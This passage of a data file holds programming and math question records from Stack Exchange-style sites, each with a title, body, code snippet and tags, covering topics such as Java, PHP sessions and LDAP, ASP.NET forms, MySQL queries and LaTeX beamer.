other way, a more \"pretty\" way?\nPerhaps an export off all drives like: \nand
then a then a file compare?\n", "\"DIR c:\\*.* /s/one >c:\\before.txt\"",
"virtual-machines vhd"], "5917936": ["where synchronization needed?", "\nHere my
question is where exactly the variables (arguments of function fun) like str1, str2
and s (sample2 object) are stored, in heap or stack?\n", "public class sample1\n{\n
private static Map m = new HashMap();\n //....\n //.....\n //\n public
void fun(String str1, String str2, sample2 s )\n {\n String str = str1 +
str2 + s.getName();\n String value = m.get(str);\n }\n}\n\npublic class
sample2\n{\n private String name;\n // ......\
n // ........\n pubic String getName()\n {\n
return name;\n }\n}\n", "java concurrency"], "1090581": ["Running WatiN
using Scheduled task or Windows service", "My WatiN automation for doing file
download is working fine when executed in command window normally. But failing with
timeout exceptions or fileDownload Dialog not found exception when executed as a
scheduled task. \nIs it possible to execute WatiN exe (with filedownload dialog
handler) as a scheduled task. If NO is there any other way to execute it as a
schedule task.\nNote: I have seen some blogs referring to running WatiN using
cc.net. So, is it possible to run above scenario using cc.net Any pointers for
cc.ent documentation and its working\nLet me know if u require any more
informations..\n", "", "scheduled-tasks watin"], "2330497": ["What kind of
permission is this? (Groups+Roles)", "I'm starting to need an access control for
roles in my app.\nI don't know much of this, but I understand how vBulletin works:\
n\nI think that what I need is the Role Bases Access Control, but i'm not sure,
because I need groups to give permissions instead of single users (Maybe it's not
that complicated to achieve).\nExample of what I'm thinking:\nGiven a post:\n\nSo
basically I wan't orientation about if RBAC is what I need.\nAnd also, how would it
be good to store group membership in a user, for example, would be good to have:
and explode it via PHP or one registry for every Group membership in a table
named , example: \nMaybe should be the second way because of the formal norms but I
didn't study yet Databases 1 at college.\nThanks a lot!\n", "I create groups, then
give permissions to groups.\n", "permissions acl rbac"], "5068585": ["Executing
javascript from within a Struts2 tabbedpanel", "I'm modifying a Struts2 application
that uses tabbedpanels. Each tab has its own jsp. I've noticed that if I include
a tag with some javascript functions in one of these jsps, that javascript won't
execute when called. For instance, I added the following to one of these jsps:\n\
nWhen I view that tab, I see the button, but the alert doesn't pop up when I press
it.\nAlso, when we define the div for the panel, we are setting the executeScripts
attribute to true as follows:\n\nDoes anyone have any ideas?\nThanks!\n", "<script
type=\"text/javascript\">\nfunction doSomething() {\n
alert('HERE');\n}\n</script>\n<input type=\"button\" value=\"Please Click Me!\"
onclick=\"doSomething();\"/>\n", "javascript struts2"], "4371030":
["UIATarget.setLocationWithOptions course not applying", "I'm attempting to
automate the path of a user via UI Automation. Ideally, the user location in an
would update according to the list of waypoints I've explicated in the automation
script:\n\nThe location portion applies without issue, and the user's indicator
moves along the path. However, the course option doesn't seem to be doing anything.
I've tried , , , , and as values for the option, to no avail.\nSeeing as how this
appears to be the only way to simulate headings at all, and that the option is
totally valid and documented, it's frustrating that it isn't working.\n",
"MKMapView", "javascript ios mapkit core-location ui-automation"], "5420676":
["'The connection was reset' or 'Page cannot be displayed' error", "I am getting
some weird problem. I get the error \"The connection was reset\" in Firefox whereas
\"Page cannot be displayed\" in IE and so. This error occurs only on specific
pages. I don't get this error for other pages. \nHow can I get what affects this
problem?\nAnd how can I avoid it?\nThanks,\nFee\n", "", "webbrowser"], "595830":
["Wordpress 3.4.2 - how to create a custom page template with \"DX Page Template\"
(plug in)", "As a new Wordpress user, I tried make a custom page template with
Wordpress 3.4.2\nFirst I look at
http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates for the hint.\
nBut I can not find the snarfer.php file.... \nSo.... I finally use the WP plug in,
named \"DX Page Template\" \n\nWith this DX Page template, I can do some basic
things for making some page templates...\nNOW the questions is :\nHow to create a
new DX Page Template which similar with the \"showcase.php\", the page template
from default theme - twentyeleven ?\nI copy paste the whole of showcase.php and it
show the header and footer. but error in content....\nAny idea ?\n\nHere is the
lines for showcase.php\n\n", "http://wordpress.org/extend/plugins/dx-template-
manager", "wordpress templates wordpress-plugin dynamic-pages"], "2759288": ["error
matching the System:String^ in a win32 application to the string in C# Library", "\
nPossible Duplicate:\nHow do I pass the address of a c++ method in win32 app to a
c# method with Action delegate parameter method \n\nI am getting a compiler error
when matching the System:String^ message input parameter to an action delegate
method in a win32 application to the string input parameter of Action delegate in
C# code located in a C# library. The Action delegate in the c# code uses a string
as an input parameter and the Action delegate method in the win32 code try\u2019s
match it using a Systen:String ^ but this does not work.\nIn the win32 app here is
the basic code:\n\nWin32 App action delegate method signature\n\nWin32 app calls to
a constructor in the c# library passing the Action delegate method as parameter \n\
n\nIn the C# library here is the basic code\n\nC# library constructor called by the
win32 app,and the Action delegate signature\n\n\ncompile error is\nError 1
error C3352: 'void ServerClass::ActionMethod(int,int,System::String ^)' : the
specified function does not match the delegate type 'void (void)' D:\\westside\\
NetSockets\\win32project\\Win32.cpp 70 1 win32project\n", "void
ActionMethod(int iCommand, int iClientIndex, System::String^ message)\n", "c#
visual-c++"], "1651666": ["How can I access variables which defined in my view code
in Sass file?", "I want to write some code in my rails view page to define a class
with param for a div, which is like:\n\nthen in sass file, define a class mixin
like:\n\nCan I write such code? Or is there a good way to do this? Thanks.\n",
"%div{:class => div_with_width(\"500px\")}\n", "ruby-on-rails sass"], "2827884":
["escape wildcard processing in java classpath", "Next code prints attributes of
each file in current directory because of wildcard processing. \n\nI need to
disable wildcard processing in my script. Escape symbols dont work: \n\nBoth give
you the same. \nI need to disable wildcard processing to start my application that
accept wildcard as an argument. \nA.java\n\nCMD\n\n\nFound workaround. \"*;\" -
not falid folder name, but valid classpath:\n\nThanks.\n", "c:\\work>attrib *\n",
"java windows shell cmd"], "4232221": ["php, admin and user login from same browser
causing session variable to be changed unwantedly", "Both admin and users can log
in. After logging in they can browse same pages.\nThere are options for admin and
users to insert, edit and delete items.\nAdmin can do all those 3 tasks for any
items created by anyone. But a user can perform those tasks only for the items
created by him/herself. So tracking is there in database AS TO who created a
particular item.\n is assigned 1 if it is the admin or 2 otherwise. This session
variable decides whether the page is intended for the admin or any other user.\nBut
if the admin logs in and then another user also logs in from the same browser then
the session variable gets the latter value. \nFor whatever reason, let use assume
that such scenario for the admin and user to log into the same browser at the same
time can take place.\nHow to make it possible that even if those two different type
of users enter the site in the mentioned way, both of them will get their
corresponding pages (i.e. when admin clicks on a menu link s/he will get the
expected page and the same will be true for any user from the same browser at the
same time)?\n", "$_SESSION['admin_user']", "php login session-variables"],
"5038003": ["opening png file in photoshop changes file", "I have a png file with a
bunch of small icons on it. When I look at it in picasa or windows viewer
everything looks ok.\nWhen however I open it in photoshop it becomes all \"chunky\"
and takes away all the icon detail. This is without performing any steps on the
file just merely opening it.\nHere is the png in question:\n\n", "", "adobe-
photoshop"], "1033233": ["Accessing Windows from Linux/Mac by name using TCP/IP",
"What are some solutions to access Windows by its computer name from Linux and Mac
using TCP/IP. That is, from terminal I want to be able to ping my Windows PCs using
its host name.\nMy setup is:\n\nVarious machines running Ubuntu, Windows XP and OS
X.\nNetworked using a consumer grade wireless router which provides DHCP.\nThe only
DNS is the ISP's, which resolves Internet
names and not local host names.\n\nThe Windows machines can ping each other by
name. The Ubuntu and OS X machines can only ping Windows by IP address (name
doesn't work).\n", "", "osx networking router dns home-networking"], "1327534":
["Excel: struggling to use CF to highlight differences between columns in the same
row", "I have a list of vaules in column A and column B. I need to highlight where
there is a difference between values that are in the same row. \nI've used a simpe
formula in B1: $A1<>$B1 (format bold). It works (values are different), but now I
would like to copy and paste special this format to all the values in column B, so
that it refers to it's neighbour in column A.\nI.e. A1<>B1; A2<>B2, etc down to row
100.\nProblem is the formula keeps using the original reference. Therefore
everything is bold. Surely I dont need to copy and paste the CF to each individual
value in column B (please no!)\nI know I'm missing a step. Please let me know what
it is.\n", "", "microsoft-excel formula conditional-formatting"], "2830591":
["Reducing for loop overhead", "I have a need to iterate through an amortization
formula, which looks like this:\n\nI'm using a loop for iteration, and
incrementing the L (loan value) by 1 each time. The loop works just fine, but it
did make me wonder about something else, which is the value (or lack thereof) in
performing basic operations before a loop executes and then referencing those
values through a variable. For example, I could further modify this function to
look like\n\nThis way, instead of having to perform lots of math operations on
every iteration of the loop, I can just reference the variable amount and perform a
single operation.\nWhat I'm wondering is how relevant is this? Is there any actual
value in extracting these operations, or is the time saved so small that we're
talking about a savings of milliseconds from a for loop that iterates approx.
200,000 times. Follow up question: would extracting operations like this be worth
it if I were doing more expensive operations like ?\n(note: in case it matters, I'm
asking about this specifically with c++ in mind)\n", "R = ( L * (r / m) ) / ( 1 -
pow( (1 + (r / m)), (-1 * m * t ) );\n", "c++ performance iteration"], "4420770":
["What are some best practises and \"rules of thumb\" for creating database
indexes?", "I have an app, which cycles through a huge number of records in a
database table and performs a number of SQL and .Net operations on records within
that database (currently I am using Castle.ActiveRecord on PostgreSQL).\nI added
some basic btree indexes on a couple of the feilds, and as you would expect, the
peformance of the SQL operations increased substantially. Wanting to make the most
of dbms performance I want to make some better educated choices about what I should
index on all my projects.\nI understand that there is a detrement to performance
when doing inserts (as the database needs to update the index, as well as the
data), but what suggestions and best practices should I consider with creating
database indexes? How do I best select the feilds/combination of fields for a set
of database indexes (rules of thumb)?\nAlso, how do I best select which index to
use as a clustered index? And when it comes to the access method, under what
conditions should I use a btree over a hash or a gist or a gin (what are they
anyway?).\n", "", "database database-design indexing"], "5640719": ["Is it possible
to call external programs from LaTeX?", "I'm trying to write very specific LaTeX
package that does a lot of complex computation. It encloses some parts of text (or
whatever else user wants to print) into boxes and then runs quite complex
computations to determine where to lay out those boxes in the document.\nIt is not
practical to program that computation in LaTeX - they will be challenging even in
high-level programming language. Is there a way to delegate that computations to
some external program? The desired workflow would be like this:\n\nIn LaTeX code
collect necessary parameters: dimensions of all the boxes to be print, textwidth
and textheight.\nSend it to external program.\nBased on received parameters the
program would compute placement of all the boxes and send the results back to LaTeX
somehow.\nLaTeX would use externally computed positions of boxes and print stored
boxes at those locations.\n\nIs there a way to communicate with external programs?
It does not have to be anything elegant, storing parameters in file and then
reading computed results from another file would be sufficient. I do not plan to
redistribute the package yet so it does not matter that the external program cannot
be redistributed.\n", "", "macros package-writing"], "1595593": ["OCamlbuild and
camlp4.macro", "I have a project where several of the OCaml source files use IFDEF.
Is there a simple way to tell OCamlbuild that all .ml files for this project should
be preprocessed by camlp4.macro?\n", "", "ocaml ocamlbuild camlp4"], "5963742":
["z-index not working with css3 drop down nav", "I am modifying a css3 nav that i
found in a tutorial and I am having trouble with the z-indexing.\nPlease check out
the nav here:\nhttp://cafemeetup.com/testArea/nav/\nIf you rollover either of the 2
nav items, you can see that the z-indexing of the drop down box is higher than the
link that spawned it.\nThis is not true as I have made the z-index of the rollover
box lower in the stacking order.\nWhat I am trying to achieve is to have the drop
down box fall underneath the link so the the drop shadow of the drop down box is
not visible on top. I want the link and drop down box to meld into one and I think
by making the link sit on top of the drop down box, I can achieve this.\nIt is done
here at Shopify:\nhttp://www.shopify.com/ (rollover 'resources')\nAnyway, hope
someone can shed light on this.\nI am assuming that the problem lies in the fact
that the object I am trying to add z-indexes to are hovers and also that they are
not regular divs as such.\nAnyway, thank you for at least reading all this. I
appreciate your time,\nJames\n", "", "css css3 z-index"], "5144444": ["Avoid
createElement function if it's inside a <LI> element (contentEditable)", "I'm using
this function in order to replace with in break lines on contentEditable divs
using Safari and Chrome:\n\nThe problem is that when I'm typing inside an and I
press the \"return\" key, I don't want to get a , so I can continue whit the
list...\nHow could I create a condition for that function not to work if I'm inside
a element?\nEDIT WITH MY ANSWER:\nOk, I've managed to do it, but If you have any
comment on the code, you're welcome:\n\n", "<DIV>New Divs</DIV>", "jquery parent
contenteditable getselection"], "4470932": ["Need to understand how to format
controls in aspx page", "Sorry for asking something basic here but I have not been
able to apply right approach in formatting controls. \nBelow is a part of the code
in ASPX page. I am failing in formatting it properly. I need some help here about
what to consider and how to do it. Below is what the output looks like.\n\nI would
like the textbox (or dropdown) to align to it's label correctly. I know I haven't
used stylesheet here but wanted to know if I can achieve without stylesheet. Even
if stylesheet is required to achieve format, please suggest what to consider and
how to proceed.\nWhat is in ASPX page is below,\n\n\n", "<div runat=\"server\"
id=\"DivCCInfo\">\n<fieldset class=\"CreditCardInformation\">\n <legend>\n
<asp:Literal runat=\"server\" ID=\"CCHeaderLabel\" Text= \"Credit Card
Information\" />\n </legend>\n <div>\n <asp:Label
ID=\"CreditCardHolderLabel\" runat=\"server\"
AssociatedControlID=\"CreditCardHolder\" Text=\"Cardholder's Name\" />\n <br
/>\n <asp:TextBox ID=\"CreditCardHolder\" runat=\"server\"
CssClass=\"TextBox\" MaxLength=\"30\" Width=\"300\" style =\"left:-100px\"
></asp:TextBox>\n <asp:Label ID=\"CreditCardTypeLabel\" runat=\"server\"
AssociatedControlID=\"CreditCardType\" Text=\"Credit Card Type\" />\n
<asp:Label ID=\"CreditCardNumberLabel\" runat=\"server\"
AssociatedControlID=\"CreditCardNumber\" Text=\"Credit Card Number\" />\n
<asp:Label ID=\"ExpirationLabel\" runat=\"server\"
AssociatedControlID=\"ExpirationMonth\" Text=\"Expiration Date\" />\n
<asp:Label ID=\"CVVLabel\" runat=\"server\" AssociatedControlID=\"CVV\" Text=\"CVV
Code\" />\n <br /><br />\n <asp:DropDownList runat=\"server\"
ID=\"CreditCardType\" Width=\"105\">\n <asp:ListItem Text=\"VISA\"
Value=\"VISA\" />\n <asp:ListItem Text=\"MasterCard\"
Value=\"MasterCard\" />\n <asp:ListItem Text=\"Discover\"
Value=\"Discover\" />\n <asp:ListItem Text=\"Amex\" Value=\"Amex\" />\n
</asp:DropDownList>\n <asp:TextBox ID=\"CreditCardNumber\" runat=\"server\"
CssClass=\"TextBox\" MaxLength=\"16\" Width=\"120\"></asp:TextBox>\n
<asp:DropDownList runat=\"server\" ID=\"ExpirationMonth\" Width=\"40\">\n
<asp:ListItem Text=\"01\" Value=\"01\" />\n <asp:ListItem Text=\"02\"
Value=\"02\" />\n </asp:DropDownList>\n <asp:DropDownList
runat=\"server\" ID=\"ExpirationYear\" Width=\"60\">\n <asp:ListItem
Text=\"2012\" Value=\"2012\" />\n <asp:ListItem Text=\"2013\"
Value=\"2013\" />\n </asp:DropDownList>\n\n <asp:TextBox ID=\"CVV\"
runat=\"server\" CssClass=\"TextBox\" MaxLength=\"4\"
Width=\"50\"></asp:TextBox>\n </div>\n</fieldset>\n", "asp.net css alignment
stylesheet webpage"], "1150894": ["How can i organize my ElasticSearch indexes?",
"I'm new to ElasticSearch which i try to use to help a cool startup that needs a
search engine.\nMy usecase is:\n\nEach user of the website has its personal space
where he can create text documents\nEach user can share
or not its content with limited people (friends)\nEach user can create public
content\nUsers may be from different countries\nUsers may search on other stuff
than posts (for exemple, search for another user)\n\nOur data is hosted in
CouchDB.\n\n1) Should i create one unique index or is it a good practice to create
an index per user?\nI've read it's not a bad idea to put everything on the same
index so you can search on many different things in the same time.\nBut i noticed
ES provides the ability to search on multiple indexes so why not creating an index
per user? \nIs it a problem because the maximum url size is limited and the index
names are provided by the url or something else?\n2) Should i create one index or
type per json document?\nI've mostly 2 different type of documents to index: posts
and users.\nIf i want to be able to search on both of them in the same time, am i
supposed:\n\nTo create an index for posts and an index for users, and search both
of them?\nTo create one index and 2 different types, and search on both types of
the same index?\nI don't really what will be the difference.\n\n3) Is it normal to
have to create multiple rivers of the same type?\nFor exemple, on the CouchDB
river, which provide a \"filter\" attribute to receive only the documents matching
your filter.\nThus if i want to index my posts and my users on 2 separate indexes
or types, my first try will be create 2 CouchDB rivers which will both have a
different filter and a different index and/or type.\nIs it the way to do?\n", "",
"java lucene indexing couchdb elasticsearch"], "627521": ["How to build
autocomplete similar-title check like stackoverflow?", "Using Yii PHP framework.
When you ask a question on stackoverflow, as you type the title a list appears
called \"Questions that may already have your answer\". I want to create similar
type of field so that when users enter the name of a business I can display similar
business names already in my system. It doesn't necessarily need to be as
sophisticated as stackoverflow's model. A simple alphabetical search should be
fine.\nKeep in mind unlike a normal autocomplete, this \"autocomplete\" won't
actually fill in the field in question but rather serves as an informational tool
to inform the user of data that potentially already exists.\nI'm thinking Yii
CJuiAutoComplete widget is the right tool for the job but how do I dissociate the
autocomplete from the input field?\n", "", "yii jquery-ui-autocomplete"],
"5641895": ["Replacing connected regions by their skeleton", "\nHere I show a
binary Image having many connected regions(white). I want to replace these regions
by single pixel edges. how can I do it?\nplease help someone\nI want this type of
result\n", "", "image matlab image-processing"], "654579": ["Does mod_rewrite set
`Alias` automatically or should it be explicitly specified when doing a
`RewriteBase`?", "From: RewriteBase Apache Docs\n\nDoes these lines:\n\nmean that
mod_rewrite sets automatically based on the .htaccess file or show this be
specified explicitly in the conf file?\n", " # /abc/def/.htaccess -- per-
dir config file for directory /abc/def\n # Remember: /abc/def is the
physical path of /xyz, i.e., the server\n # has a 'Alias /xyz
/abc/def' directive e.g. #\n\n RewriteEngine On\n\n # let the server
know that we were reached via /xyz and not\n # via the physical path prefix
/abc/def\n RewriteBase /xyz\n\n # now the rewriting rules\n
RewriteRule ^oldstuff\\.html$ newstuff.html \n", "apache .htaccess mod-rewrite
url-rewriting apache2"], "3431156": ["How to run python script on startup with sudo
permission on Mac OS", "I have created a script with python that basically ping all
servers found in my lists. I need this script to be run on startup with sudo
permission.\nSo the question is, How do you run the script on startup with sudo
permission\n", "", "mac script startup python sudo"], "5036495": ["What language
should I learn to prepare for WebGL?", "I am thinking about making a 3D game with
WebGL (just for conceptual purposes, for now), but all I have never done anything
in 3D and have only programmed in PHP for the most part. From what I understand,
WebGL is Javascript, which I use heavily in all of my projects, but it is also my
understanding that it is very different from regular JavaScript. If I wanted to
get a head start to begin trying to figure out how to make 3D applications with
WebGL, would there be a certain language that would help me to grasp how to do that
better?\n", "", "opengl-es 3d webgl"], "3208393": ["Line rasterisation: Cover all
pixels, regardless of line gradient?", "Basically, I want to use a line algo to
determine which cells to check for collisions for my raycaster.\nBresenham isn't
great for this as it uses a unified-thickness approach, meaning that it ignores
cells that aren't at least half-covering the line. Not great at all, because it
means that some segments of my line aren't being checked for intersections with the
cells, leading to errors.\nI can't seem to find any thick-line algorithms, can
anyone help me find one?\n\n\nGreen: What I would like.\nRed: What I currently have
and don't want.\n", "", "c# algorithm line gradient pixel"], "5113559": ["How to
stop a WPF Listbox from scrolling", "I want my to never scroll. It's easy to
just hide/disable the scrollbars, but mousewheel/arrow keys still cause a scroll
when the items in the exceed its boundaries. There HAS to be some way to tell the
that it just can't ever scroll....right?\n", "ListBox", "c# wpf listbox
scrollviewer"], "5072030": ["JQuery DatePicker not updating model field in MVC",
"Following is the code extract:\n\nFollowing is relevant JQuery code\n\nThe view is
showing datepicker control, and it is functioning well. Also, the text box gets
updated for underlying value (which I could check using Firebug). The only problem
is that the underlying field in the model is not updated. Whereas, there are some
other fields also in this model, which gets updated properly.\nWhat could be the
possible reason?\n", "@Html.TextBoxFor(m => m.CreatedSearchStartDate, \n\n
new { @Value=Model.CreatedSearchStartDate.Value.ToString(\"dd/MM/yyyy\"),\n\n
@selectedDate =Model.CreatedSearchStartDate.Value.ToString(\"dd/MM/yyyy\"),\n\n
@class=\"dateInput\", @id=\"CreatedSearchStartDate\" }\n\n )\n",
"asp.net-mvc razor datepicker"], "860141": ["When inequality for binomial
coefficients is true?", "I've asked similar question here Inequality for binomial
coefficients, but with slightly different assumptions. I am curious what happend if
$m, k$ are fixed.\nLet $m \\leq n, n \\leq N$ and $0\\leq k \\leq m$.\nI am
wondering what is the dependence of $n$ and $N$ that for fixed $m, k$\n$$\n\\
frac{{N-m \\choose n-k}}{{N \\choose n}}\\leq 1.\n$$\nThank you for your help.\n",
"", "number-theory elementary-number-theory inequality special-functions binomial-
coefficients"], "5038005": ["How to refresh an extjs window (Ext.Window) on its
button click", "I have an Extjs window which has two buttons 'Save and Refresh' and
'Clear' Buttons.\nNow I need to refresh the window on button click of the 'Save and
Refresh' button.\ncould you please explain me how to do this?\nThanking You,\
nRegards,\nSathya\n", "", "jquery ajax extjs"], "627522": ["list groups from user
with ldap", "I'm really new to LDAP and just got a connection between my php server
and my ad server. I've succefully been able to authenticate users. Now I want to
list all groups the users are in to see if he's an admin or not (or there might be
another way?).\nI have this so far:\n\nI've tried with ldap_search by reading the
manual at php.net but I couldn't get it to work at all. Can somebody show me how to
get it to work?\n", " $ldap = ldap_connect(\"192.168.1.108\");\n if ($ldap &&
$bind = @ldap_bind($ldap, $name.\"@redward.org\", $pw)) {\n // ldap_search
and ldap_get_entries here i guess, but how?\n }\n", "php ldap groups"],
"4444645": ["UTF-8 to String in Java", "i am having a little problem with the UTF-8
charset. I have a UTF-8 encoded file witch i want to load and analyze. I am using
BufferedReader to read the file line by line.\n\nMy problem is that the normals
String methods (trim() and equals() for example) in java are not suitable to use
with the line readed from the BufferReader in every iteration of the loop that i
created to read all the content of the BufferedReader.\nFor example in the encoded
file i have \"< menu >\" witch i want my program to treat it as it is, however for
now it is seen as \"?? < m e n u >\" mixed with some others strange characters.\
nI want to know if there is a way to remove all the charset codifications and keep
just the plain text so i can use all the methods of the String class without
complications.\nThank you\n", "BufferedReader buffReader = new BufferedReader(new
InputStreamReader\n(new FileInputStream(file),\"UTF-8\"));\n", "java string utf-8
character-encoding plaintext"], "3987385": ["Why don't QLocalSocket/Server
connections work when one process was invoked by an NSIS installer?", "I have an
NSIS installer that installs my Qt application. At the end of the install process,
the installer gives the user the option to launch the application immediately.\nMy
application uses QLocalSocket/QLocalServer to talk to other local instances of the
application. (They talk to each other basically just to ensure that there's only
one instance of the app running at a time.) However, on Vista, if one of the
instances was started up by the installer, then other instances cannot talk to that
instance unless they were also started by the installer (or uninstaller,
interestingly).\nThe NSIS installer launches the app with the Exec command. The
client tries to connect
to the server through QLocalSocket::connectToServer, which fails with the
error \"QLocalSocket::connectToServer: Unknown error 5\".\nCan anyone explain this?
What's the best way to work around it?\n", "", "qt windows-vista nsis"], "2811142":
["smtp codeigniter gmail error", "I am sorry I keep coming back with this issue. I
checked my account and it\u2019s fine( signed on no captcha) and still nothing. It
still returns this to me:\n220 mx.google.com ESMTP d13sm702743fka.52\nhello: 250-
mx.google.com at your service, [82.128.53.160]\n250-SIZE 35651584\n250-8BITMIME\
n250-AUTH LOGIN PLAIN\n250-ENHANCEDSTATUSCODES\n250 PIPELINING\nFailed to
authenticate password. Error: 454 4.7.0 Cannot authenticate due to temporary system
problem. Try again later. d13sm702743fka.52\nfrom: 530-5.5.1 Authentication
Required. Learn more at\n530 5.5.1 http://mail.google.com/support/bin/answer.py?
answer=14257 d13sm702743fka.52\nThe following SMTP error was encountered: 530-5.5.1
Authentication Required.\ni saw a post somewhere in my googling that php mail()
does not do smtp with google mail well, is that true? if so I looked at the wiki on
phpmailer and swiftmailer and the writeup is scanty, so any ideas on what to do?
possibly with links or tips\u2026. ANYTHING PLEASE!!!\n", "", "codeigniter smtp
gmail"], "5181345": ["How to pass two USB-devices to XEN domU guest?", "how do i
pass more then one USB device to Xen domU guest?\nEither\n\nOR\n\nworks fine, but
with only one device at the time.\nObvious thing:\n\nis not working at all -
complains about incorrect syntax in configuration file.\n", "usbdevice =
'host:1d6b:0002'\n", "xen usb"], "4411848": ["How do I rescale cropped material
with pdfcrop", "I'm running pdfcrop (version 1.31) on Mac OSX. From what I read on
pdfcrop page I should be able to rescale the size of the final document. The
suggested approach is\n\nto rescale the final version to fit to letter. When I try
this I get the errror\n\nMany people are posting nicely cropped snippets of their
final results. My cropped material pales. \n", "pdfcrop infile.pdf letter
outfile.pdf", "scaling pdfcrop"], "4933465": ["Modify content of DataTemplate in
code for a Grid control", "I have the following Xaml for a grid and I want to be
able to modify the value of the Content in code. I want to depending on the
condition, not display the \"[+]\". How do I do that. Also how do i trigger an
event to make the change. I am using an Infragistic XamGrid but I think it will
apply to other grids too.\n\n", "<ig:UnboundColumn Key=\"Sel\" x:Name=\"ubcSel\"
IsFixed=\"Left\" Width=\"44\" HeaderText=\" \"
PropertyChanged=\"UnboundColumn_PropertyChanged\">\n
<ig:UnboundColumn.ItemTemplate>\n
<DataTemplate>\n <HyperlinkButton
Name=\"hblSel\" Click=\"hblSel_Click\"\n
Content=\"[+]\" FontWeight=\"Bold\" FontSize=\"12\"
HorizontalAlignment=\"Center\" />\n
</DataTemplate>\n </ig:UnboundColumn.ItemTemplate>\n
</ig:UnboundColumn>\n", "silverlight silverlight-4.0 grid datagridtemplatecolumn
unbound"], "694308": ["Spring load time weaving not detecting class annotated with
@configurable", "I'm having trouble getting AspectJ to perform load time weaving
on a class annotated with @configurable in my main project. No fields get set and
none of the setters are touched.\nI don't think there's trouble with the
configuration itself, because I've extracted the configuration and tested it on a
smaller sandbox project. Just for the sake of it, I'll include it in this question
though. \nSo, I'm wondering:\n\nIs there anything in the larger project that might
be hindering Spring/AspectJ from detecting the this particular class? \nIs there
any way of checking if spring is even aware of the class in questions?\n\nAnd
lastly, whatever code I can extract (please excuse the obfuscation):\nFrom
configuration XML:\n\nAnd the class itself:\n\nEdit:\nWell, turns out that it
wasn't working due to a circular dependency. Oh deary me, I love working on legacy
code. Still, my original questions remain.\n", "<context:annotation-config />\
n<context:spring-configured />\n<context:component-scan base-
package=\"se.isydev\" />\n<context:component-scan base-package=\"se.istools\" />\
n<aop:aspectj-autoproxy />\n<context:load-time-weaver aspectj-weaving=\"on\" />\
n<context:property-placeholder location=\"classpath:settings.properties\" />\
n(...)\n<bean class=\"com.company.ClassToBeWeaved\"\n scope=\"prototype\"> \n
<property name=\"injectedBean\" ref=\"injectedBean\" />\n</bean>\n", "java spring
aspectj"], "1856684": ["Math function for parabola", "I need an implicit function
that plots the parabola that I am showing you in the picture. Everything you need
is shown there. \nThe radius of the thickness of the parabola must be 3.\n\nThank
you in advance for your help.\n", "", "functions conic-sections"], "1762320": ["Moq
: How to mock a class which is not visible?", "I've the following simplified code
which describes my problem:\n\nWhich is used in the dataccess layer like this:\n\
nThe userlogic class is defined as follows:\n\nThe userlogic uses a MyUSer class
which is only visible internally.\nI want to use Moq to mock the call to the
dataaccess layer. But becuase I cannot access the MyUser class from my unit test
code (which is as designed) , I don't know how to setup moq?\nThe Moq code should
be something like:\n\nHow to solve this?\n", "public interface IMyUser\n{\n int
Id { get; set; }\n string Name { get; set; }\n}\n", "interface moq"], "2147465":
["MySQL Selecting wrong column value in Group By query", "Here's a real noobish
MySQL query problem I'm having.\nI have a high score table in a game I'm writing.
The high score DB records a name, level, and score achieved. There are many near
duplicates in the db. For example:\n\nI want to return a \"highest level achieved\"
high score list, with an output similar to:\n\nThe SQL Query I currently use is:\n\
nHowever this doesn't quite work. The \"Score\" field output always seems to be
randomly pulled from the group, instead of taking the corresponding score for the
highest level achieved. Eg:\n\nBob never got 41 points on level 3! How can I fix
this?\n", "Name | Level | Score | Timestamp (key)\nBob 2 41 |
1234567.890\nBob 3 15 | 1234568.890\nBob 3 20 |
1234569.890\nJoe 2 40 | 1234561.890\nBob 3 21 |
1234562.890\nBob 3 21 | 1234563.890\n", "mysql database select group-
by"], "5038004": ["Getting instance of button/movieclip on it's click's handler",
"It used to happen in AS2.0 as follows : \n\nHowever in AS3.0, i wonder how to
achieve this \n\nthanks.\n", "my_Mc.onPress = function()\n{\n trace( this) \n}\
n\n//output : \n[my_Mc Movieclip]\n", "flash actionscript-3 actionscript"],
"3429324": ["PHP sort through file to match keyword then extract keyword and
parent", "I have the following CSS File:\n\nI'd like to find each occurrence of the
keyword () and extract the child and containing parent to a new file. For example:\
n\nI'm not particularly sure if it would be possible to do this. I\"m currently
using to find the keyword and including the keyword () at every open/close brace,
but it's tedious and it's prone to errors if you forget to add the keyword on each
line you'd like to extract from the file. Here is an example of what I currently
need to do to achieve the desired outcome:\n\nIs there a more reliable method in
which to find the closest open/close brace from the keyword?\n", ".garage {\n
width: 100px;\n height: 200px; /*Extract*/\n}\n.showroom {\n color: #FFF;\n
text-align: right;\n padding: 20px 30px; /*Extract*/\n}\n#dealer-lot {\n
width: 500px; /*Extract*/\n background-color:#CCC; \n}\n", "php file match
extract"], "4845414": ["Separation between columns in beamer", "I am trying to
create a scientific poster (in a beamer environment) with three columns. It works
very well, my only problem is that the separation between the columns is too large
and I cannot find a way to overwrite the default value assigned by beamer. \nI
know, in a tabular environment, I could have used \nIs there anything similar for a
environment?\nI use for my columns. And I use the package, but from my
understanding it is embedded in a document class, so I assume that beamer's
commands would work as well.\nThank you.\nHere is a working example. You can see
that the space between two columns is about 2 cm, I would like to be able to modify
this space.\n\n", "\\renewcommand\\tabcolsep{6pt}", "beamer spacing columns"],
"2811143": ["Parsing the results of askopenfilenames()?", "I'm trying to get a list
of filenames from tkinter.filedialog.askopenfilenames() in Python 3.2.\n\nI was
expecting the output to be a tuple (or maybe a list) with each element containing a
filename. As far as I can tell, it's returning a string with each element contained
within curly-brackets {} like so:\n\nThis is what I get if I try print(files). It
looks like it's formatted like a list of some sort, but it seems to just be a
string. Am I doing something wrong, or is the output of this function actually a
string formatted like a list of files, which I need to split up by myself.\n", "
files = askopenfilenames(initialdir=\"C:\\\\Users\\\\BVCAP\\\\Videos\",
title=\"Select files\")\n self.num_files.set(len(files)) \n", "python windows
python-3.x tkinter"], "3985035": ["How to calculate this limit $\\lim\\limits_{n\\
to\\infty}\\left(\\sum\\limits_{i=1}^{n}\\frac{1}{\\sqrt{i}} - 2\\sqrt{n}\\right)
$", "Calculate below limit\n$$\\lim_{n\\to\\infty}\\left(\\sum_{i=1}^{n}\\frac{1}
{\\sqrt{i}} - 2\\sqrt{n}\\right)$$\n", "", "sequences-and-series limit"],
"4484390": ["How to extract text using Zend_Pdf from pdf page", "Can anyone help
with extracting text from a page in a pdf?\n\nI would assume a page method would
exist but I could not find anything to let me extract the contents.\nExample:
